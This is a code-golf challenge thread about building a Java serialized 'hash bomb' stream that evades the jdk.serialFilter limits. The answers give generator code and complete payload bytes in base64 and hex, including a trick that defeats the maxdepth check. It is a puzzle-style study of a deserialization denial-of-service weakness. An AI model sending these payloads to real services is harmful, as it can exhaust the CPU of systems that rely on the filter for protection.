Hash bomb filtrate

1

2

Pipe a short stream to the following Java program run with accompanying command line options, such that it prints true.

class Code implements java.io.Serializable { 
    private static final long serialVersionUID = 0L;
    private static long count; 
    @Override public int hashCode() {
        ++count;
        return super.hashCode();
    }
    public static void main(String[] args) throws Throwable {
        new java.io.ObjectInputStream(System.in).readObject(); 
        System.err.println(count != (int)count);
    }
}

java '-Djdk.serialFilter=maxarray=100000;maxdepth=16;maxrefs=500;Code;java.util.HashSet;java.util.Map$Entry;!*' Code

Rules

  • Shortest stream in bytes wins.

  • The program above must print true.

  • No fiddling with the command line - no aliasing, no running a weird shell, no putting nonsense in classpath, etc. (It does require the quotes. The Map$Entry bit is indeed weird.)

  • In case of issue, run on Oracle JDK13 current update at time of posting.

  • Tie breaker: size of stream in bytes when compressed with gzip --best (on my machine, if that's variable).

Probably post the source code to generate the stream, rather than some bytes.

Tom Hawtin - tackline

Posted 2020-02-15T13:09:07.283

Reputation: 127

I can pipe an empty stream to any program: echo -n ''|whatever_program, so what do you really want? – Christian Sievers – 2020-02-15T13:41:33.763

@ChristianSievers It's just a way of feeding the stream in without having to play about with files. Pipe (or redirect) the bytes into the program run as the specified command line - although I've noticed I've cropped the bit about printing true.. – Tom Hawtin - tackline – 2020-02-15T13:50:30.160

2I don't understand this code. Could you specify the task for non-Java programmers please? – Jonathan Allan – 2020-02-15T14:27:16.020

@JonathanAllan Have you seen some of the code on this site? The program reads in a serialised object and checks whether hashCode has been called at least 2^31 times. The -Djdk.serialFilter sets limits on deserialising the stream. Specs for the protocol are at https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html and for the serial filter https://docs.oracle.com/en/java/javase/13/core/serialization-filtering1.html#GUID-8296D8E8-2B93-4B9A-856E-0A65AF9B8C66

– Tom Hawtin - tackline – 2020-02-15T15:45:06.320

How does our "stream" (is that a string of bytes?) cause hashCode to be called? Maybe an example would help? Referencing long documentation of part of the code isn't very helpful IMO - it doesn't help understand the task at hand and leads to more need to understand the Java language (e.g. "The ObjectStreamClass of its supertype, java.lang.reflect.Proxy" -what?). – Jonathan Allan – 2020-02-15T16:08:12.870

@JonathanAllan It requires JVM-specific knowledge (though it's just bytes), in much the same way as this question https://codegolf.stackexchange.com/questions/180411/a-nasty-little-memory-leak is Python-spefic.

– Tom Hawtin - tackline – 2020-02-15T16:34:28.197

1Right, so the answer to my question is "no" then. FWIW I don't believe the question you've linked to is a good fit here. I'll remove my VTC as unclear and see what those more familiar with the required subject matter think. – Jonathan Allan – 2020-02-15T16:42:25.533

1Welcome to the site! In my opinion this sort of question is fine even if it targets only a specific sort of user. I would suggest giving a bit of an explanation of your code or motivation for it though. – Post Rock Garf Hunter – 2020-02-16T02:29:42.380

3What the hell is happening here, there have been Java-only KOTH challenges since the beginning of the universe, but nobody complained by downvoting them into -3 and almost closing them... – my pronoun is monicareinstate – 2020-02-16T02:58:29.223

1@mypronounismonicareinstate the main reason that this question has not been received well is that it is very different from most other questions on this site. Most questions on this site are "here is a challenge, solve it within a boundary" - whether that is "as short as possible" for code-golf or "get the highest score" with KOTH. This is "here is a really hard challenge that I want to see someone solve" - the challenge is more in solving it at all than solving it in a specific way. A question like this would be better received on Puzzling SE, in my opinion, than here. – Stephen – 2020-02-16T05:52:56.713

@Stephen I absolutely made sure it was soluble. (The first naïve solution that I got through the filter was 2963 bytes, 449 bytes gzip --best.) Pre-serial filter solutions are googlable. – Tom Hawtin - tackline – 2020-02-16T06:02:54.563

@TomHawtin-tackline yep - I'm just making the point that for most casual users of this site, they prefer taking a solution and whittling it down rather than coming up with several thousand bytes before they start golfing. I assume someone is working on this, you're just not going to get quite the response that something that can be golfed to 50 bytes in Python would. :) – Stephen – 2020-02-16T06:08:58.523

@Stephen That the data. The code that generated it is a function body of 21 (non-empty, non-comment) lines, all nicely laid out in verbose Java, and doesn't do anything special except write an object to an ObjectOutputStream. – Tom Hawtin - tackline – 2020-02-16T06:36:23.093

7This question could use a one-sentence summary that provides some context. I suggest: Write the shortest exploit for the SerialDos java vulnerability that bypasses the jdk's protection against it. – Wouter Coekaerts – 2020-02-17T13:49:16.603

@mypronounismonicareinstate Also, this isn't a KOTH, this is just [tag:code-golf], where language specific challenges should be carefully considered and are encouraged to spend some time in Sandbox before posting – Jo King – 2020-02-18T23:51:41.407

Answers

4

1087 bytes 1065 bytes

Apparently the JDK's maxdepth limit is kinda broken...

static Object payload() throws Exception {
  int layers = 30;
  int width = 2;
  int codes = 7;
  int extra = 8;

  List<Set<Object>> sets = new ArrayList<>();
  sets.add(new HashSet<>());

  for (int i = 1; i < layers; i++) {
    Set<Object> s = new HashSet<>();
    sets.add(s);
    for (int j = i - 1; j >= i - width - 1 && j >= 0; j--) {
      sets.get(j).add(s);
    }
  }

  for (int i = 0; i < codes; i++) {
    sets.get(sets.size() - 1).add(new Code());
  }

  // special HashSet at the root to circumvent maxdepth limitation. By including a couple deeply
  // nested HashSets here, they will be replaced by references when they're used inside `sets`.
  // Using a LinkedHashSet to guarantee order of serialization.
  LinkedHashSet<Object> linkedRoot = new LinkedHashSet<>();
  linkedRoot.add(sets.get(28));
  linkedRoot.add(sets.get(14));
  linkedRoot.add(sets.get(0));

  // shaving off some more bytes by storing multiple copies of the same set at the top level
  for (int i = 0; i < extra; i ++) {
    sets.get(0).add("foo" + i);
    linkedRoot.add(sets.get(0));
    sets.get(0).remove("foo" + i);
  }

  // transplant the contents of the LinkedHashSet into the HashSet
  Set<Object> root = new HashSet<>();
  Field mapField = HashSet.class.getDeclaredField("map");
  mapField.setAccessible(true);
  mapField.set(root, mapField.get(linkedRoot));
  return root;
}

Base64-encoded data:

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAABA/QAAAAAAAC3NxAH4AAHcMAAAAED9AAAAAAAABc3EAfgAAdwwAAAAQP0AAAAAAAAdzcgAEQ29kZQAAAAAAAAAAAgAAeHBzcQB+AARzcQB+AARzcQB+AARzcQB+AARzcQB+AARzcQB+AAR4eHNxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAAJxAH4AAnEAfgADeHEAfgACcQB+AAN4cQB+ABlxAH4AAnhxAH4AGHEAfgAZeHEAfgAXcQB+ABh4cQB+ABZxAH4AF3hxAH4AFXEAfgAWeHEAfgAUcQB+ABV4cQB+ABNxAH4AFHhxAH4AEnEAfgATeHEAfgARcQB+ABJ4cQB+ABBxAH4AEXhxAH4AD3EAfgAQeHEAfgAOcQB+AA94c3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3EAfgAMcQB+AA1xAH4ADnhxAH4ADHEAfgANeHEAfgAncQB+AAx4cQB+ACZxAH4AJ3hxAH4AJXEAfgAmeHEAfgAkcQB+ACV4cQB+ACNxAH4AJHhxAH4AInEAfgAjeHEAfgAhcQB+ACJ4cQB+ACBxAH4AIXhxAH4AH3EAfgAgeHEAfgAecQB+AB94cQB+AB1xAH4AHnhxAH4AHHEAfgAdeHEAfgAacQB+ABpxAH4AGnEAfgAacQB+ABpxAH4AGnEAfgAacQB+ABp4

Wouter Coekaerts

Posted 2020-02-15T13:09:07.283

Reputation: 211

I was thinking writeReplace rather than the reflection. – Tom Hawtin - tackline – 2020-02-18T06:55:34.497

240ish bytes with gzip --best. I couldn't easily spot any easy bytes to take off in the protocol - adding an empty writeObject to Code increases the size, useProtocolVersion 1 (for pre-1.1.6 compatibility - what happened there?) makes no odds. – Tom Hawtin - tackline – 2020-02-24T13:05:00.867

2

This one’s 1207 bytes and performs 3910245742 hashes.

private fun veryHashySet(): Set<Any> {
  val codes = listOf(Code(), Code())
  val sets = mutableListOf<Set<Any>>()

  for (i in 0 until 16) {
    val limit = if (i == 15) 3 else 2
    for (j in 0 until limit) {
      val set = HashSet<Any>()
      for (k in 0 until 4) {
        when {
          k < sets.size -> set.add(sets[sets.size - 1 - k])
          k < codes.size -> set.add(codes[k])
        }
      }
      sets += set
    }
  }

  return sets.last()
}

Data:

aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000027371007e0000770c000000103f4000000000000273720004436f6465000000000000000002000078707371007e000f787371007e0000770c000000103f4000000000000271007e000e71007e0010787871007e000e7371007e0000770c000000103f4000000000000371007e000d71007e000e71007e00127871007e00127871007e000d71007e001371007e0012787371007e0000770c000000103f4000000000000471007e000c71007e000b7371007e0000770c000000103f4000000000000471007e000c71007e000b71007e00137371007e0000770c000000103f4000000000000471007e000c71007e000d71007e000b71007e0013787871007e00167871007e001571007e00167871007e001471007e00157371007e0000770c000000103f4000000000000471007e000a71007e001471007e001571007e0016787871007e000a7371007e0000770c000000103f4000000000000471007e000971007e000a71007e001471007e00177871007e0017787371007e0000770c000000103f4000000000000471007e000871007e000971007e001871007e0017787371007e0000770c000000103f4000000000000471007e000871007e000971007e001871007e0019787371007e0000770c000000103f4000000000000471007e000871007e001871007e001971007e001a787871007e001a7371007e0000770c000000103f4000000000000471007e000771007e001971007e001a71007e001b7871007e001b787371007e0000770c000000103f4000000000000471007e000671007e00077371007e0000770c000000103f4000000000000471007e000671007e000771007e001c71007e001b7871007e001c7871007e001e71007e001c787371007e0000770c000000103f4000000000000471007e000571007e001d71007e001e7371007e0000770c000000103f4000000000000471007e000671007e000571007e001d71007e001e787871007e00207371007e0000770c000000103f4000000000000471007e000571007e001d71007e001f71007e0020787871007e001f71007e002071007e00217871007e00047371007e0000770c000000103f4000000000000471007e000371007e000471007e001f71007e00217871007e0021787371007e0000770c000000103f4000000000000471007e000271007e000371007e000471007e0022787371007e0000770c000000103f4000000000000471007e000271007e000371007e002371007e00227871007e002278

Jesse Wilson

Posted 2020-02-15T13:09:07.283

Reputation: 131

285 bytes with gzip --best. – Jesse Wilson – 2020-02-17T19:42:32.543